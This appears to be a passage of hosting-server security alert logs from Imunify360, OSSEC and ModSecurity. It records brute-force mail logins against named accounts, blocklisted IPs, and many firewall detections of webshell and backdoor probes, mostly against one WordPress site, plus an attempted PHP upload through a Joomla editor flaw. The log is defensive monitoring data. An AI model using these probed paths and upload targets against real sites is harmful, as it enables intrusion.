2026-07-23 07:36:12 dovecot_login authenticator failed for H=([115.43.150.20]) [94.16.17.141]:55500: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 07:37:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 07:40:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.5.117.238
country_id: 1694008
description:
Jul 23 07:44:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.5.117.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-23 07:44:08 dovecot_login authenticator failed for H=(201.86.46.137.dynamic.adsl.gvt.net.br) [210.5.117.238]:65532: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-23 07:44:20 dovecot_login authenticator failed for H=([121.131.220.135]) [41.219.149.74]:52878: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacrepairnearme3.info\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 07:47:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 07:48:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.177.103.56
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:192.177.103.56||TA:192.177.103.56||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.117.167.13
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:217.117.167.13||TA:217.117.167.13||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.208.242.130
country_id: 2661886
description:
Jul 23 07:55:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.208.242.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.242.130
country_id: 2661886
description:
2026-07-23 07:55:35 dovecot_login authenticator failed for H=31-208-242-130.cust.bredband2.com (static.ill.117.211.15.93.bsnl.co.in) [31.208.242.130]:49472: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.245.246.26
country_id: 1835841
description:
Jul 23 07:55:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.245.246.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-23 07:55:56 dovecot_login authenticator failed for H=([192.111.143.93]) [106.245.246.26]:53381: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77783317
name: IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)
abuser: 15.220.152.126
country_id: 2921044
domain: combinations.in
description:
IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)||MV:/adminer.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 07:58:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.11
country_id: 1668284
description:
Jul 23 07:58:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.11
country_id: 1668284
description:
2026-07-23 07:58:23 dovecot_login authenticator failed for H=111-70-32-11.emome-ip.hinet.net ([183.196.144.45]) [111.70.32.11]:48220: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 212.103.61.29
country_id: 2782113
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_1f4235d3.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 08:01:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.136
country_id: 1835841
description:
Jul 23 08:02:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-07-23 08:02:51 dovecot_login authenticator failed for H=([183.196.144.45]) [121.131.220.136]:37401: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 64.89.163.68
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 64.89.163.68
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: Block .suspected files||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 08:08:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.123
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.132.224.123
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.35||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.132.224.123
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.123
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/DJP9.php||SC:/home/alnay/public_html/images/DJP9.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.157
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/admin.php||SC:/home/alnay/public_html/images/admin.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 23 08:08:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.157
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autoload_classmap.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.113.1
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/serendipity-arts-festival-in-panjim-goa HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 08:09:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.157
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/index22.php||SC:/home/alnay/public_html/images/index22.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.135
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/file.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.135
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/file.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/alnay/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 08:09:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.145
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/alnay/public_html/wp-admin||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.145
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-conflg.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 206.62.114.199
country_id: 3469034
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:44502.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d96ca77340d6fb65637939604c9fd9291e0b83fb||Title:naffsjqfxm5s1eq||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.133
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/content.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.133
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/content.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.115
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wordpress/wp-content/uploads/install.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.154
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/bypass.php||SC:/home/alnay/public_html/images/bypass.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.115
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/buy.php||SC:/home/alnay/public_html/images/buy.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.154
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-cert.phtml||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.132.224.115
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.35||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/install.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.154
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/firewall.php7||SC:/home/alnay/public_html/images/firewall.php7||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.143
country_id: 1835841
description:
2026-07-23 08:13:26 dovecot_login authenticator failed for H=([192.252.210.237]) [121.131.220.143]:45079: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.154
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/system_cache.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.132.224.151
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.35||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/adminfus.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.151
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/uploads/xsec.php||SC:/home/alnay/public_html/uploads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.207.208.221
country_id: 1835841
description:
Jul 23 08:14:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.207.208.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.143
country_id: 1835841
description:
Jul 23 08:13:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.151
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/fileman.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.208.221
country_id: 1835841
description:
2026-07-23 08:14:02 dovecot_login authenticator failed for H=([131.0.190.152]) [175.207.208.221]:47380: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.110
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/av.php||SC:/home/alnay/public_html/images/av.php||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 45.132.224.110
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/alfa.php||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.151
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/fm.php7||SC:/home/alnay/public_html/images/fm.php7||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 45.132.224.151
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/themes.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.110
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/uploads/function.php||SC:/home/alnay/public_html/uploads||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.143
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/uploads.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.143
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/assets/images/cloud.php||SC:/home/alnay/public_html/assets||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/fix.php7||SC:/home/alnay/public_html/images/fix.php7||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/autodiagnosis.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77264624
name: IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)||MV:/assets/images/accesson.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autodiagnosis.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/filester/assets/css/404.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.132.224.119
country_id: 2077456
domain: alnayza.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.35||T:APACHE||SC:/home/alnay/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 08:18:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.135.74.36
country_id: 6290252
description:
Jul 23 08:19:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.135.74.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.135.74.36
country_id: 6290252
description:
2026-07-23 08:19:55 dovecot_login authenticator failed for H=cable-24-135-74-36.dynamic.sbb.rs (ezecom.119.82.253.0.25.ezecom.com.kh) [24.135.74.36]:36536: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 08:23:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 89.147.162.130
country_id: 286963
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.betting-casinos.com/pro-football-betting.htm\">football bets</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 08:28:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.148.34
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:173.208.148.34||TA:173.208.148.34||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 23 08:31:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 08:32:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.57.39.170
country_id: 6252001
description:
Jul 23 08:32:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.57.39.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-23 08:33:00 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [184.57.39.170]:57665: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.215.195
country_id: 6252001
description:
Jul 23 08:33:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.215.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.190.215.195
country_id: 6252001
description:
2026-07-23 08:33:33 dovecot_login authenticator failed for H=([31.173.67.115]) [146.190.215.195]:59472: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 23 08:39:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.80.65.214
country_id: 6252001
description:
Jul 23 08:41:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.80.65.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-23 08:41:32 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([212.3.154.183]) [75.80.65.214]:54920: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.245.167
country_id: 3017382
description:
2026-07-23 08:43:39 dovecot_login authenticator failed for H=([49.124.149.218]) [87.106.245.167]:53952: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.209.249.46
country_id: 2661886
description:
Jul 23 08:43:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.209.249.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.249.46
country_id: 2661886
description:
2026-07-23 08:43:54 dovecot_login authenticator failed for H=h83-209-249-46.cust.bredband2.com ([141.105.109.134]) [83.209.249.46]:54032: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 08:44:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.230.133.68
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es50-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.106.245.167
country_id: 3017382
description:
Jul 23 08:43:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.106.245.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-23 08:45:02 dovecot_login authenticator failed for H=([95.54.1.88]) [152.52.198.42]:50354: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
